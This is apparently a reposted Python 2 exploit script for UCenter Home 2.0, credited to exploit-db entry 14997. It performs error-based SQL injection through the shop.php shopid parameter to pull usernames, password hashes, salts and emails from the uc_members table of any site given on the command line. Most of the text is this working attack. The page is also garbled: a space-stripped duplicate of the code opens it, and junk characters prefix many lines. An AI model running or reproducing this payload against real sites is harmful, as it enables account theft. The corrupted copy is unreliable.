UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
, _4 P6 k( q1 T* N0 D' i3 }
6 J, z/ i3 Y1 _, @* {, [; D  |
6 W5 J" H. K/ |. {7 s0 ?, X, k#!/usr/bin/env python  
: x5 M. k" F% K; o8 c2 |4 r; p" \; ]
import sys  
5 I% J& T+ `0 K; D- Z% p4 q! Eimport urllib2  
: z/ s1 N' Q6 e* L' m& n' F/ Uimport re  

def info():  
    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
7 p. ]3 E4 @& Q, I    print 'exp:'  
8 w* R; i' ^- S9 Z) l    print ' ./UCenter_Home_2.0.py site'  
) F5 _/ T2 ~: _7 |
def main():  
0 P( {7 x  M6 T) B    if len(sys.argv) != 2:  
. H. E% ]/ N  A, K) B& \: g0 N        info()  
    else:  
        site = sys.argv[1]  
        if site[0:7] == 'http://':  
6 n  H8 N- A( J. [            sitesite =site  
        elif site[0:8] == 'https://':  
0 B: t( l  f6 ^+ t3 {9 F# ]; Y5 f1 c            sitesite = site  
8 ^1 a* ^: K) T& s! V3 n, g% E        else:  
/ Y  O3 a: H4 ^" i& k            site = 'http://'+site  
0 ~2 b% v" s( ^4 k        try:  
/ r. {1 N; Q, u  X5 r            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
& w5 T& U* b' k* ^$ R' Z8 y            hacked = Msg.split(':')  
, h" G$ e$ C% s            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
& N% c3 n# @8 `: n; _, k. Z3 h) j            print 'salt:    '+hacked[3]  
8 S; A8 B5 }8 C3 E            print 'email:   '+hacked[4]  
/ x$ b4 e$ W! B- V' _- I5 B        except:  
            print 'Sorry,I can\'t work............'  
: e3 Z" R/ k9 Q! g. q+ |( }" ~4 t- B
if __name__ == '__main__':  
    main()